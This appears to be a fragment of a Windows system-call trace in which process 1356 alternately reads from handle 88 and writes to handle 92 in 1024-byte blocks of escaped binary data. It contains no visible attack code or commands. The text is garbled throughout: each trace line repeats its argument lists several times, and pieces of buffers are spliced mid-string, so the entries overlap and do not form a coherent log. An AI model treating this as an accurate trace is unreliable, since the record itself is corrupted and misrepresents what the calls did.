\27\11\6BZYXD^\27*B\266\6\24c\2447t\26489>\3033<>=\36\35\37\37?\320\334]#$!\331tekX+(-6|\3701<\4'562Z9;9l~4\177\12\14M\237X\27\1n\250\260s"&\207\265JC\37\355.;X\270t;t8:?\273\247\34z\349ho\363\15\375\253\224(\314b\242(\245\275\246#5K$\301\10<%[0:33=\227\374\337\331*\20539\203\251\6~\335M\200=.!k([v;_\35\210$.,,\256\320:=137\'<\321\252\320.3\273\377o\335,\21\27\2530\2533\333\207&'(C\325C\275\231m/11V\22241fS\261\34?<\375<9\0\33\37\321\25\33/$%\364%"d'+\313!/#()\30216w37\315%37<=8\265=9w\33\373\20\36'!-&#<' c)\6(\10)!*7\36\2630z5\324\2549 {l\260pA\363\32\35j\232 \341-\246\346$&%{\10\252n\10\305\275b0{t\31\274\6\355", ) , ) == 0x0
 01141  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\304\232\244\261*\354\10K\1d\242\214\30612\212s\255\3326g\24\214$\30\332\15+\300X\327\6\13%\36p\245\6t\202\364)\236\260\221\275\341s-\300\24.\250\207\205\221\301\3577\331F\352\241@\26ic\202y\216\203\317-v\2753\344\14\377\5\363\370\354\362_?\217\312\215#r\235\16\1?;\373;\2128z\325u'\342\23 \251q\330\307\356\232\24\261J^\36v\353R\203}5\320fxC\372\336a2\277'F\274)\327\341\24\315\270V:\254\235B\302R\367\3341$X\201\203\370J\371\2\302\215Gbk\220\332\331\347\21\236\266\2007\331\350\14l\204\22q\237\317\2477\34\334\2469\277\6\344S\316\254\370nI\270\337\345c%ja\222\11\252C\332e\357&$x\254\264\344\352\303\271K+\305\347|8L\332^\242$\246^\314`_t\323\3339\0\253e\341\25J\351\224\312\301v\3331\331\3112\203\213\371|\313c?\360\342\337k\250\370\211\217\2642\23\314\245\10\363\322\31{\337'\0[\344\250\26\344*\201\7uXLrc\303j\367\376\224\321\1\301\305\316\242\222\237\337\362$\354\12W\3163\246\352\377{\257[\D\3275\367\355F\330\265\\300\300\325%v\371\244U\346\332\17nP\354SMl\336\313\17\30\357\274\6\257\321\362\373[\263\262\210\266\177u8\311\200\322h\215\347\363\275"\251 \2155~\355\221K\237Hr=\204\332W\364[\211F\1\247H\222P\220\242D\201\343\26142hL\200\376Aw\264E\221\304p\322f\240<\244<\324S\256\341a\365\36\237d\314\363\5,T\233\326\274\14z\352V\207\262*\273\311\1oG\224?\206\346\37xi\326\310\240\237\37e\32\367\241\324\357\370r)I\327\26\10\33\325\271\213\262\177\210\200 \310\32\303", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \251 \2155~\355\221K\237Hr=\204\332W\364[\211F\1\247H\222P\220\242D\201\343\26142hL\200\376Aw\264E\221\304p\322f\240<\244<\324S\256\341a\365\36\237d\314\363\5,T\233\326\274\14z\352V\207\262*\273\311\1oG\224?\206\346\37xi\326\310\240\237\37e\32\367\241\324\357\370r)I\327\26\10\33\325\271\213\262\177\210\200 \310\32\303", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01142  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\203)oA\325B\36\232\373W- \326\2572'@i\351+/\305\374\3432]\273\23p\21:\262\370\271\246#<=:K\20\227\325\366=] \242;\324\316$\24\336\242\245z,\6\247\221\25510\275\2641\2757o\2\267|\32\260p\31\21L\235\10\3!o\253u\37\254\206\242*\7\303\276\231l"\337r=\177\375*=\3Y\3710n\138\3747\31\3114S\37\27@\14 +"+.f8\7/69\304\14\14\2653\30\332,\2604\10\321\3637z,\255|/\336\325\323K_a{Q`\303!9\213\350V~\13\3~j1\321r2\2400\336\2579\261\257:,\275\256>\265\4]\36\215!\241&\343\261$fb)\374\252\13\334h/O\3213Zs4\324\22\201KH:\3738\274O?\3738\222o\37\15\301F\252\1$&z\304\31||F-//Z!X0^!\x9\271;8V8T-q\25\35t\33\253\320H&\251a&\3\20C8{\353\2536\17114\333\3577H\17n9\261\363\373y\32{\33\30\35\366\350 >"<$:&8(\3265+3-1//1-3+5)779\3054<2>0\33\23\35\21\37/!-#+%Y((&*$,". 0>2=4c\26`\263\310\322 lN\265C\338\21D\247\256sQ\2430\251t\260>\227\270yk4zn)c\332\373W\265|~!\20\322\336\375~\274n\300\231_\34[\245pr\3130\227\250v^\323j}\256|b\257\25\264c3\245d7\260h\264\266\37\270==\327\35\25so?\1:r\343\247\3448\3171E\251l\254D\2567b\274z\0\334=76=\351;\261\235\266B\33\17\224L\34W\321 us\257\353\316G\252B\234", ) \337r=\177\375*=\3Y\3710n\138\3747\31\3114S\37\27@\14 + (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\203)oA\325B\36\232\373W- \326\2572'@i\351+/\305\374\3432]\273\23p\21:\262\370\271\246#<=:K\20\227\325\366=] \242;\324\316$\24\336\242\245z,\6\247\221\25510\275\2641\2757o\2\267|\32\260p\31\21L\235\10\3!o\253u\37\254\206\242*\7\303\276\231l"\337r=\177\375*=\3Y\3710n\138\3747\31\3114S\37\27@\14 +"+.f8\7/69\304\14\14\2653\30\332,\2604\10\321\3637z,\255|/\336\325\323K_a{Q`\303!9\213\350V~\13\3~j1\321r2\2400\336\2579\261\257:,\275\256>\265\4]\36\215!\241&\343\261$fb)\374\252\13\334h/O\3213Zs4\324\22\201KH:\3738\274O?\3738\222o\37\15\301F\252\1$&z\304\31||F-//Z!X0^!\x9\271;8V8T-q\25\35t\33\253\320H&\251a&\3\20C8{\353\2536\17114\333\3577H\17n9\261\363\373y\32{\33\30\35\366\350 >"<$:&8(\3265+3-1//1-3+5)779\3054<2>0\33\23\35\21\37/!-#+%Y((&*$,". 0>2=4c\26`\263\310\322 lN\265C\338\21D\247\256sQ\2430\251t\260>\227\270yk4zn)c\332\373W\265|~!\20\322\336\375~\274n\300\231_\34[\245pr\3130\227\250v^\323j}\256|b\257\25\264c3\245d7\260h\264\266\37\270==\327\35\25so?\1:r\343\247\3448\3171E\251l\254D\2567b\274z\0\334=76=\351;\261\235\266B\33\17\224L\34W\321 us\257\353\316G\252B\234", ) <$:&8(\3265+3-1//1-3+5)779\3054<2>0\33\23\35\21\37/!-#+%Y((&*$, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\203)oA\325B\36\232\373W- \326\2572'@i\351+/\305\374\3432]\273\23p\21:\262\370\271\246#<=:K\20\227\325\366=] \242;\324\316$\24\336\242\245z,\6\247\221\25510\275\2641\2757o\2\267|\32\260p\31\21L\235\10\3!o\253u\37\254\206\242*\7\303\276\231l"\337r=\177\375*=\3Y\3710n\138\3747\31\3114S\37\27@\14 +"+.f8\7/69\304\14\14\2653\30\332,\2604\10\321\3637z,\255|/\336\325\323K_a{Q`\303!9\213\350V~\13\3~j1\321r2\2400\336\2579\261\257:,\275\256>\265\4]\36\215!\241&\343\261$fb)\374\252\13\334h/O\3213Zs4\324\22\201KH:\3738\274O?\3738\222o\37\15\301F\252\1$&z\304\31||F-//Z!X0^!\x9\271;8V8T-q\25\35t\33\253\320H&\251a&\3\20C8{\353\2536\17114\333\3577H\17n9\261\363\373y\32{\33\30\35\366\350 >"<$:&8(\3265+3-1//1-3+5)779\3054<2>0\33\23\35\21\37/!-#+%Y((&*$,". 0>2=4c\26`\263\310\322 lN\265C\338\21D\247\256sQ\2430\251t\260>\227\270yk4zn)c\332\373W\265|~!\20\322\336\375~\274n\300\231_\34[\245pr\3130\227\250v^\323j}\256|b\257\25\264c3\245d7\260h\264\266\37\270==\327\35\25so?\1:r\343\247\3448\3171E\251l\254D\2567b\274z\0\334=76=\351;\261\235\266B\33\17\224L\34W\321 us\257\353\316G\252B\234", ) , ) == 0x0
 01143  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "f,'\367\351N\322\370j\300\307\265\22\212\251c\203\201\315E\22F\374\217d\11\262\205\15C\271i\252y\303g\33{\270\201\346\252E\352\31\226\245\352\372\107\335\205%\21\314)J\240\236\236\346\247\225{\2357H\256N\312\221\11+\24\12\317+.W{B\331\200k\35\242"@\342\6\271\0\207E\354\322>\303\343\336\233\346\224D*1~}\307\313\5\13q\225\32Y\276\202\215\374GD\265z\321_\310\315M\243\311*'\225\273\350\3179[\277 \254\216\22\255\21[=d\216\350\246\13E\300\221o%\13\225\367&ie$\252\320c\365\12\30bK\20\6\276!M\206\256\340L#c\241\224\242+\3346\272\274\254j\321\371\245\271\345\205g\324?\21L\305\327=/.}\321\25?\343\331>\215\354\31\235g\364\352o\247\316f\305\2776\22\225ZWd0\233\345\264S\26\13\214\264F\374\307\335\340S\366\333\322[\5\22\312G\305\332"\3653\201\255\344\273\214\321\264,\32\351\260\315\34\331\252\35\332\245\214\2276YVo\204c\216\326\233\310\310\322\352M'5\161\274N\353U\223U\352&0\13x\35s\243\252j\251\250\33\255\234R\216+\373\300\323\325\306\13t}\342\\22\34\235 H\231~6\307wGj\1\345\207\6\307%\243h\205\355N\356\13L\212\2134\335\232\237a\207\305\326\7\203\33X\223fE\211h\324\251\243\323\255?+O\310\316}Wr\354w\337\336\370\272'\361\256X\220\360:\325\271\4W\2775\203\206\342!\325\271??\317g[\200\330\303\265\230Z\30\224\377\270["\0C\4c8\264q\363\345a\254\212$ET\22\36\206\222Q\214R-\35I\343\257g\327!`\262\35\342[\201\226\261Q\263V\230\10\25\300\26P\315\350\34\30\363e&\244d\364#k\365\10\302", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) @\342\6\271\0\207E\354\322>\303\343\336\233\346\224D*1~}\307\313\5\13q\225\32Y\276\202\215\374GD\265z\321_\310\315M\243\311*'\225\273\350\3179[\277 \254\216\22\255\21[=d\216\350\246\13E\300\221o%\13\225\367&ie$\252\320c\365\12\30bK\20\6\276!M\206\256\340L#c\241\224\242+\3346\272\274\254j\321\371\245\271\345\205g\324?\21L\305\327=/.}\321\25?\343\331>\215\354\31\235g\364\352o\247\316f\305\2776\22\225ZWd0\233\345\264S\26\13\214\264F\374\307\335\340S\366\333\322[\5\22\312G\305\332 (92, 0, 0, 0, "f,'\367\351N\322\370j\300\307\265\22\212\251c\203\201\315E\22F\374\217d\11\262\205\15C\271i\252y\303g\33{\270\201\346\252E\352\31\226\245\352\372\107\335\205%\21\314)J\240\236\236\346\247\225{\2357H\256N\312\221\11+\24\12\317+.W{B\331\200k\35\242"@\342\6\271\0\207E\354\322>\303\343\336\233\346\224D*1~}\307\313\5\13q\225\32Y\276\202\215\374GD\265z\321_\310\315M\243\311*'\225\273\350\3179[\277 \254\216\22\255\21[=d\216\350\246\13E\300\221o%\13\225\367&ie$\252\320c\365\12\30bK\20\6\276!M\206\256\340L#c\241\224\242+\3346\272\274\254j\321\371\245\271\345\205g\324?\21L\305\327=/.}\321\25?\343\331>\215\354\31\235g\364\352o\247\316f\305\2776\22\225ZWd0\233\345\264S\26\13\214\264F\374\307\335\340S\366\333\322[\5\22\312G\305\332"\3653\201\255\344\273\214\321\264,\32\351\260\315\34\331\252\35\332\245\214\2276YVo\204c\216\326\233\310\310\322\352M'5\161\274N\353U\223U\352&0\13x\35s\243\252j\251\250\33\255\234R\216+\373\300\323\325\306\13t}\342\\22\34\235 H\231~6\307wGj\1\345\207\6\307%\243h\205\355N\356\13L\212\2134\335\232\237a\207\305\326\7\203\33X\223fE\211h\324\251\243\323\255?+O\310\316}Wr\354w\337\336\370\272'\361\256X\220\360:\325\271\4W\2775\203\206\342!\325\271??\317g[\200\330\303\265\230Z\30\224\377\270["\0C\4c8\264q\363\345a\254\212$ET\22\36\206\222Q\214R-\35I\343\257g\327!`\262\35\342[\201\226\261Q\263V\230\10\25\300\26P\315\350\34\30\363e&\244d\364#k\365\10\302", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \0C\4c8\264q\363\345a\254\212$ET\22\36\206\222Q\214R-\35I\343\257g\327!`\262\35\342[\201\226\261Q\263V\230\10\25\300\26P\315\350\34\30\363e&\244d\364#k\365\10\302", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01144  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")&S2%f/\376\275.\177*?7ns\148\332\12\315\201\11\251\262$3\255\256\200\252=~}\352:y\362'\270\224[7\227\13fdf\214\2614!O\35\3L\13\310&%=\340\242\32\3\300a/'2}*15['Y&t4l,i\322\360\2409 s_8-\232\3\5\311-\25782g\2414:@'F\4u\177\303\232\277sx\21\32]0h\332*\260\340\377\236\275\1p\14\222&x\214#D8\177\243\34zk--?;\21\153r\364<^I^=\272\233#\2604k}\36O|\35s\336\364\250b\30\247\13\311\15\256\272o=\254K~4\3423;53[kh\322\325\343]\2\277D\274#\334\32\221H*\263y\3642%"y&\256\354X\11\254\3341*\276b \275\373\261\235\272\37\210==m\363\320\15\307\231\217\256bd\354\6a\255?\24\5\22\255}\21\365\17\244\14\346\5*7\21098k<>\215\17\33\6,m.\260\201\21$H\24\233\32"\31\30\30-\335\32\253\7\235\5\364\36(\17\12\15\177\13\235\11=\245,\10\1'e\31\256\33$\374\36w(+\303)) X.=\305\30\25508\21165\337?64?k?\26\304\30\23N!,\350&)\277s&%\225/&\317,#\2015<\36\2317\2650\227\275?O\272:\257\2739Q\242\234\30\233\245'%'\244\21wg\34'\372\253:\276\34_\3bg\270X5\22#n\12\314\11\374\266\276r\3K\236\347\35T \2223\247\355\331|i\2072\240Q-:\34\353\264\373<\272"57\2559>/\274\155n\34*"", ) \2614!O\35\3L\13\310&%=\340\242\32\3\300a/'2}*15['Y&t4l,i\322\360\2409 s_8-\232\3\5\311-\25782g\2414:@'F\4u\177\303\232\277sx\21\32]0h\332*\260\340\377\236\275\1p\14\222&x\214#D8\177\243\34zk--?;\21\153r\364<^I^=\272\233#\2604k}\36O|\35s\336\364\250b\30\247\13\311\15\256\272o=\254K~4\3423;53[kh\322\325\343]\2\277D\274#\334\32\221H*\263y\3642% (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")&S2%f/\376\275.\177*?7ns\148\332\12\315\201\11\251\262$3\255\256\200\252=~}\352:y\362'\270\224[7\227\13fdf\214\2614!O\35\3L\13\310&%=\340\242\32\3\300a/'2}*15['Y&t4l,i\322\360\2409 s_8-\232\3\5\311-\25782g\2414:@'F\4u\177\303\232\277sx\21\32]0h\332*\260\340\377\236\275\1p\14\222&x\214#D8\177\243\34zk--?;\21\153r\364<^I^=\272\233#\2604k}\36O|\35s\336\364\250b\30\247\13\311\15\256\272o=\254K~4\3423;53[kh\322\325\343]\2\277D\274#\334\32\221H*\263y\3642%"y&\256\354X\11\254\3341*\276b \275\373\261\235\272\37\210==m\363\320\15\307\231\217\256bd\354\6a\255?\24\5\22\255}\21\365\17\244\14\346\5*7\21098k<>\215\17\33\6,m.\260\201\21$H\24\233\32"\31\30\30-\335\32\253\7\235\5\364\36(\17\12\15\177\13\235\11=\245,\10\1'e\31\256\33$\374\36w(+\303)) X.=\305\30\25508\21165\337?64?k?\26\304\30\23N!,\350&)\277s&%\225/&\317,#\2015<\36\2317\2650\227\275?O\272:\257\2739Q\242\234\30\233\245'%'\244\21wg\34'\372\253:\276\34_\3bg\270X5\22#n\12\314\11\374\266\276r\3K\236\347\35T \2223\247\355\331|i\2072\240Q-:\34\353\264\373<\272"57\2559>/\274\155n\34*"", ) \31\30\30-\335\32\253\7\235\5\364\36(\17\12\15\177\13\235\11=\245,\10\1'e\31\256\33$\374\36w(+\303)) X.=\305\30\25508\21165\337?64?k?\26\304\30\23N!,\350&)\277s&%\225/&\317,#\2015<\36\2317\2650\227\275?O\272:\257\2739Q\242\234\30\233\245'%'\244\21wg\34'\372\253:\276\34_\3bg\270X5\22#n\12\314\11\374\266\276r\3K\236\347\35T \2223\247\355\331|i\2072\240Q-:\34\353\264\373<\272 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")&S2%f/\376\275.\177*?7ns\148\332\12\315\201\11\251\262$3\255\256\200\252=~}\352:y\362'\270\224[7\227\13fdf\214\2614!O\35\3L\13\310&%=\340\242\32\3\300a/'2}*15['Y&t4l,i\322\360\2409 s_8-\232\3\5\311-\25782g\2414:@'F\4u\177\303\232\277sx\21\32]0h\332*\260\340\377\236\275\1p\14\222&x\214#D8\177\243\34zk--?;\21\153r\364<^I^=\272\233#\2604k}\36O|\35s\336\364\250b\30\247\13\311\15\256\272o=\254K~4\3423;53[kh\322\325\343]\2\277D\274#\334\32\221H*\263y\3642%"y&\256\354X\11\254\3341*\276b \275\373\261\235\272\37\210==m\363\320\15\307\231\217\256bd\354\6a\255?\24\5\22\255}\21\365\17\244\14\346\5*7\21098k<>\215\17\33\6,m.\260\201\21$H\24\233\32"\31\30\30-\335\32\253\7\235\5\364\36(\17\12\15\177\13\235\11=\245,\10\1'e\31\256\33$\374\36w(+\303)) X.=\305\30\25508\21165\337?64?k?\26\304\30\23N!,\350&)\277s&%\225/&\317,#\2015<\36\2317\2650\227\275?O\272:\257\2739Q\242\234\30\233\245'%'\244\21wg\34'\372\253:\276\34_\3bg\270X5\22#n\12\314\11\374\266\276r\3K\236\347\35T \2223\247\355\331|i\2072\240Q-:\34\353\264\373<\272"57\2559>/\274\155n\34*"", ) ", ) == 0x0
 01145  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "x<]\20\241\216_]\364c\34k\15\353qH\276\216&ah\350Fg\305X*=\301\10S\370*Yk\322\35o\5#5\11\17\6\322o\202{\305\343\3470\341N\3T9\324\322(e\367\331\7\334da""G\334\355*t\260\225\326{\25\310\224@<\372\242h:\264\251j\241\34\247&\232\222\375\201\0h.i\303\20\241\255j\357\15\16[U\2061\300\221\370sF\305\35?\39\243\10\3\4D\270\224\204\315\3\203\2357\361\326G\305"\0e\274f\24@u\275w\250\316:\371F\32\271\15:\26}\233s'\0c\257\33v\372\233\255t\34\2371t\336\200;I\373L\353'\362\367\222\237\307\250v\30\231\313\2\36\237\250\3161\273\221\224\3423\325\373\345\353;\2709Ea\213\242\273\6u\254\221\235|\302\210\225\12i\260\227F\244\16\21/2y\301F\241\22=\26\15\335\256\364\240\262C\327\221\363\315\211t\231\227\234\203\202;\21'iR\336\365(h\225\304\363\365\227\7h\17\177~\371\262\27\223>\220r\227\2174\23\204\376\325p\20\6\242.\206%{\204=X\24\266\315\32\214!\203\301\2009\35\365\260\225+\202\10\362\24\216\325Y\23\10k\304i&\377\345\347zD\265B^}\277\314\365\307q\205j\204Y\334U\37\314\213\247w\270:\3045\356\217iCx(\15\351\246\221\307\10\234\336\23M\225i\12{\200\366\15\64\237\203\2621K\240,4\335\352\35V\3\374w\3w\257\16,r\364\362\217\220\301$$\35\244j\365\274l\211U*\365\2279kr4\204 \200\271\240\206\10\343\2Hof\357_\3567\372\24\3176\327W\244\370\312\\16\214\366\30\323b\230L\37\306v\300'\362\363\236\271\377\215\370\333", 1024, 0x0, 0, ... {status=0x0, info=1024}, )  (92, 0, 0, 0, "x<]\20\241\216_]\364c\34k\15\353qH\276\216&ah\350Fg\305X*=\301\10S\370*Yk\322\35o\5#5\11\17\6\322o\202{\305\343\3470\341N\3T9\324\322(e\367\331\7\334da""G\334\355*t\260\225\326{\25\310\224@<\372\242h:\264\251j\241\34\247&\232\222\375\201\0h.i\303\20\241\255j\357\15\16[U\2061\300\221\370sF\305\35?\39\243\10\3\4D\270\224\204\315\3\203\2357\361\326G\305"\0e\274f\24@u\275w\250\316:\371F\32\271\15:\26}\233s'\0c\257\33v\372\233\255t\34\2371t\336\200;I\373L\353'\362\367\222\237\307\250v\30\231\313\2\36\237\250\3161\273\221\224\3423\325\373\345\353;\2709Ea\213\242\273\6u\254\221\235|\302\210\225\12i\260\227F\244\16\21/2y\301F\241\22=\26\15\335\256\364\240\262C\327\221\363\315\211t\231\227\234\203\202;\21'iR\336\365(h\225\304\363\365\227\7h\17\177~\371\262\27\223>\220r\227\2174\23\204\376\325p\20\6\242.\206%{\204=X\24\266\315\32\214!\203\301\2009\35\365\260\225+\202\10\362\24\216\325Y\23\10k\304i&\377\345\347zD\265B^}\277\314\365\307q\205j\204Y\334U\37\314\213\247w\270:\3045\356\217iCx(\15\351\246\221\307\10\234\336\23M\225i\12{\200\366\15\64\237\203\2621K\240,4\335\352\35V\3\374w\3w\257\16,r\364\362\217\220\301$$\35\244j\365\274l\211U*\365\2279kr4\204 \200\271\240\206\10\343\2Hof\357_\3567\372\24\3176\327W\244\370\312\\16\214\366\30\323b\230L\37\306v\300'\362\363\236\271\377\215\370\333", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \0e\274f\24@u\275w\250\316:\371F\32\271\15:\26}\233s'\0c\257\33v\372\233\255t\34\2371t\336\200;I\373L\353'\362\367\222\237\307\250v\30\231\313\2\36\237\250\3161\273\221\224\3423\325\373\345\353;\2709Ea\213\242\273\6u\254\221\235|\302\210\225\12i\260\227F\244\16\21/2y\301F\241\22=\26\15\335\256\364\240\262C\327\221\363\315\211t\231\227\234\203\202;\21'iR\336\365(h\225\304\363\365\227\7h\17\177~\371\262\27\223>\220r\227\2174\23\204\376\325p\20\6\242.\206%{\204=X\24\266\315\32\214!\203\301\2009\35\365\260\225+\202\10\362\24\216\325Y\23\10k\304i&\377\345\347zD\265B^}\277\314\365\307q\205j\204Y\334U\37\314\213\247w\270:\3045\356\217iCx(\15\351\246\221\307\10\234\336\23M\225i\12{\200\366\15\64\237\203\2621K\240,4\335\352\35V\3\374w\3w\257\16,r\364\362\217\220\301$$\35\244j\365\274l\211U*\365\2279kr4\204 \200\271\240\206\10\343\2Hof\357_\3567\372\24\3176\327W\244\370\312\\16\214\366\30\323b\230L\37\306v\300'\362\363\236\271\377\215\370\333", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01146  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "O&&B>*A-Gh\321\35\273\16}\275\373\7K\226\326\237@i\2# \315e\333(G\244{,/.-``\213[E'r\2679\317\177\353<O`\312\254 \242#+\245`\246\177a\331\23346$'LY\272;@\31\2\21n\20\227Z\37\4\34\246\343Pt\32\11,]g\213O\21\243\243\24eP1T<`_\274\230U97l~\300\314\227\231:\223a)\256\17\0\255\346'\310"B\253(x|;\273\245\3601H\365\333\346L\350\220\313\21\2356\16\223\314%\356o\313!#c$$V+(*vK`}\1\3570\331\26237-\2\327\17\321Jx>\315^\331\347+\35\37'(0\342`4\35>\307k\11\22\3)\3753\37\200\251b\333\302j\227\251\253):8\264\262\236\241\221\212\211\17\237\5\356\252\264\344\205\316\312{\10\352/a\37\306\3322#|M\230\335\300\327>8\34,=\33\243\37\37x\15\266\27\6\244\342\200+\245~S""\12\15s\15>\2442H\225\25{4zXWRnNL\235oI\333%z\3702\214b\3000\340trHCL\212\2470\354N\367T[G@@\3277q>\4\272\243\215\237;\T\237\30_\326eO\226VI\2417Tk1* \362\214\24\355\13\333\11A\10J\12\255\4\203\6\356\0\36\3|&H \361"2\37m\35\270\33\212\31\365\27\300\250\22\6\20h\16N\14\277\12\223\10\363\6\340\4\315\2>>\273\36\35\37k " \23\227\25\365\27\314\31S\32*\14-"\242P\223\33e5\37w", ) O`\312\254 \242#+\245`\246\177a\331\23346$'LY\272;@\31\2\21n\20\227Z\37\4\34\246\343Pt\32\11,]g\213O\21\243\243\24eP1T<`_\274\230U97l~\300\314\227\231:\223a)\256\17\0\255\346'\310 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "O&&B>*A-Gh\321\35\273\16}\275\373\7K\226\326\237@i\2# \315e\333(G\244{,/.-``\213[E'r\2679\317\177\353<O`\312\254 \242#+\245`\246\177a\331\23346$'LY\272;@\31\2\21n\20\227Z\37\4\34\246\343Pt\32\11,]g\213O\21\243\243\24eP1T<`_\274\230U97l~\300\314\227\231:\223a)\256\17\0\255\346'\310"B\253(x|;\273\245\3601H\365\333\346L\350\220\313\21\2356\16\223\314%\356o\313!#c$$V+(*vK`}\1\3570\331\26237-\2\327\17\321Jx>\315^\331\347+\35\37'(0\342`4\35>\307k\11\22\3)\3753\37\200\251b\333\302j\227\251\253):8\264\262\236\241\221\212\211\17\237\5\356\252\264\344\205\316\312{\10\352/a\37\306\3322#|M\230\335\300\327>8\34,=\33\243\37\37x\15\266\27\6\244\342\200+\245~S""\12\15s\15>\2442H\225\25{4zXWRnNL\235oI\333%z\3702\214b\3000\340trHCL\212\2470\354N\367T[G@@\3277q>\4\272\243\215\237;\T\237\30_\326eO\226VI\2417Tk1* \362\214\24\355\13\333\11A\10J\12\255\4\203\6\356\0\36\3|&H \361"2\37m\35\270\33\212\31\365\27\300\250\22\6\20h\16N\14\277\12\223\10\363\6\340\4\315\2>>\273\36\35\37k " \23\227\25\365\27\314\31S\32*\14-"\242P\223\33e5\37w", )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "O&&B>*A-Gh\321\35\273\16}\275\373\7K\226\326\237@i\2# \315e\333(G\244{,/.-``\213[E'r\2679\317\177\353<O`\312\254 \242#+\245`\246\177a\331\23346$'LY\272;@\31\2\21n\20\227Z\37\4\34\246\343Pt\32\11,]g\213O\21\243\243\24eP1T<`_\274\230U97l~\300\314\227\231:\223a)\256\17\0\255\346'\310"B\253(x|;\273\245\3601H\365\333\346L\350\220\313\21\2356\16\223\314%\356o\313!#c$$V+(*vK`}\1\3570\331\26237-\2\327\17\321Jx>\315^\331\347+\35\37'(0\342`4\35>\307k\11\22\3)\3753\37\200\251b\333\302j\227\251\253):8\264\262\236\241\221\212\211\17\237\5\356\252\264\344\205\316\312{\10\352/a\37\306\3322#|M\230\335\300\327>8\34,=\33\243\37\37x\15\266\27\6\244\342\200+\245~S""\12\15s\15>\2442H\225\25{4zXWRnNL\235oI\333%z\3702\214b\3000\340trHCL\212\2470\354N\367T[G@@\3277q>\4\272\243\215\237;\T\237\30_\326eO\226VI\2417Tk1* \362\214\24\355\13\333\11A\10J\12\255\4\203\6\356\0\36\3|&H \361"2\37m\35\270\33\212\31\365\27\300\250\22\6\20h\16N\14\277\12\223\10\363\6\340\4\315\2>>\273\36\35\37k " \23\227\25\365\27\314\31S\32*\14-"\242P\223\33e5\37w", ) 2\37m\35\270\33\212\31\365\27\300\250\22\6\20h\16N\14\277\12\223\10\363\6\340\4\315\2>>\273\36\35\37k  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "O&&B>*A-Gh\321\35\273\16}\275\373\7K\226\326\237@i\2# \315e\333(G\244{,/.-``\213[E'r\2679\317\177\353<O`\312\254 \242#+\245`\246\177a\331\23346$'LY\272;@\31\2\21n\20\227Z\37\4\34\246\343Pt\32\11,]g\213O\21\243\243\24eP1T<`_\274\230U97l~\300\314\227\231:\223a)\256\17\0\255\346'\310"B\253(x|;\273\245\3601H\365\333\346L\350\220\313\21\2356\16\223\314%\356o\313!#c$$V+(*vK`}\1\3570\331\26237-\2\327\17\321Jx>\315^\331\347+\35\37'(0\342`4\35>\307k\11\22\3)\3753\37\200\251b\333\302j\227\251\253):8\264\262\236\241\221\212\211\17\237\5\356\252\264\344\205\316\312{\10\352/a\37\306\3322#|M\230\335\300\327>8\34,=\33\243\37\37x\15\266\27\6\244\342\200+\245~S""\12\15s\15>\2442H\225\25{4zXWRnNL\235oI\333%z\3702\214b\3000\340trHCL\212\2470\354N\367T[G@@\3277q>\4\272\243\215\237;\T\237\30_\326eO\226VI\2417Tk1* \362\214\24\355\13\333\11A\10J\12\255\4\203\6\356\0\36\3|&H \361"2\37m\35\270\33\212\31\365\27\300\250\22\6\20h\16N\14\277\12\223\10\363\6\340\4\315\2>>\273\36\35\37k " \23\227\25\365\27\314\31S\32*\14-"\242P\223\33e5\37w", ) \242P\223\33e5\37w", ) == 0x0
 01147  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\36D\365$\27H`\361N\345\256V\37\12G2\265'\307L\362\13\247\346\277M\335\331\211\352\364\344@N\200 \13*m\204\375\2428~J\300O\357\267\232\254p\363C\314V\255g\341\13\272,\303:\36\223N\357yr\37\377\372\235C\1\362\370\214\216\31\25\320\231\13.\366\311\226,g\350\3745\347@{\227\273\215^\345\242VR\305\361`\373\2533S\366\203\347\222Sa\215\213\35K\6\336\6\2075Y\236\301\352}\34S\315\346\372\11\177,q\235\250\361E6\356\354\344m\226\226\4\257J\261\373gH\204\25}"\245\17\304c\305=\34q+\334\275\271\342\27%>\272\330\325\323%\246!\320\253\2158\301NVG\225b\245|\376\34\321B\246\270W7H\222rB\272j\37\365\225\350\23\236v+\14\200\200b/\304n\255@\1\210\362U\31\316\213\210\223\3148\4m\373\350lw\323\376\364\270\250\324fG\363\37\222\356\315\214+\265\3316mK\203\244d\225\3516\354\236VH\246\30h\240Sb\33\23x\320\265\225\352\334\207\335%\274\247A\3\371\205\316\212\351\221\202\222\352]\223b\374`\1\360\241M\230\356Q\265\305\334\342\355M(K\264N\205K8\11\315ov\22\364\211\261\341\274r#\20A\217ykXW\15\364\211\243i1\335\324yb\25uB\326\215\243;\265\353h'\307\16<\217\267\350\354G8o\256\266y\346n\310A*\214\245\352x\373[\323\242\237\312\273K\272?hu\316\236\273\333F\3656\202\262x:\362\4\274\341\332\366\203\256\363|7\363\344\330\332\376"6\326\2\37w\30\265\2405\227\11;\271\2\321\336\227PH\37\273\362\354\14\202%HD\12\336j\3746`as\357-\271\365\311X\341+\272\230\23\327\275\377\323,\344n\305\245$\204\324\256P\342\207\304", 